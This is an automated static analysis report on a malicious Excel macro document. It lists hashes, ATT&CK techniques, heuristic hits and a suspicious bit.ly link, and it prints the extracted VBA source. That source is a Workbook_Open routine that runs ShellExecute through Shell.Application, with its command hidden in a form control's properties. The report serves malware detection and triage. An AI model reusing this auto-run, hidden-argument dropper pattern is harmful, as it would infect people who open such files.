Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 a0265e99a50445e9…

MALICIOUS

Office (OOXML)

19.8 KB Created: 2006-09-16 00:00:00 UTC Authoring application: Microsoft Excel 12.0000 First seen: 2021-09-15
MD5: 08047505858518ee00f65750b4570ef2 SHA-1: eb35c627ed0795d04e1100e0311e987454b6e361 SHA-256: a0265e99a50445e960776aba088f29552a2830b8da3635b4818ebe3e3e85e044
142 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is an OOXML document containing a Workbook_Open VBA macro. This macro utilizes the CreateObject function to instantiate 'Shell.Application', which is then used to execute an arbitrary command. The specific command executed is not fully discernible due to obfuscation, but the intent is to run a payload. This is a common technique for delivering malware via malicious Office documents.

Heuristics 5

  • VBA project inside OOXML medium 3 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Workbook_Open macro high OLE_VBA_WBOPEN
    Workbook_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL https://www.bitly.com/jasdojasdokkakasdasasddsd In document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1774 bytes
SHA-256: ee80f32b25348b4db66eca5ba61cc81d16f21ccff268f13c4104668f017e0430
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Sheet3"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Sub _
Workbook_Open _
()
Sheet1.coomon.ShellExecute# hehe.mm.ControlTipText, hehe.mm.Tag


End _
Sub



Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Function _
coomon _
()
Set _
coomon _
= _
VBA _
. _
CreateObject("Shell.Application")
End Function



Attribute VB_Name = "Sheet2"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "hehe"
Attribute VB_Base = "0{2E174F06-FAA5-47F7-B5D8-AB84117B085C}{567020CF-06F0-4979-890E-05A863BA89A6}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
vbaProject_00.bin vba-project OOXML VBA project: xl/vbaProject.bin 24576 bytes
SHA-256: 0fd905f969e359db4b046e73aa3ee5e2973fd30c08dfbf57f92bcac1e87d322e

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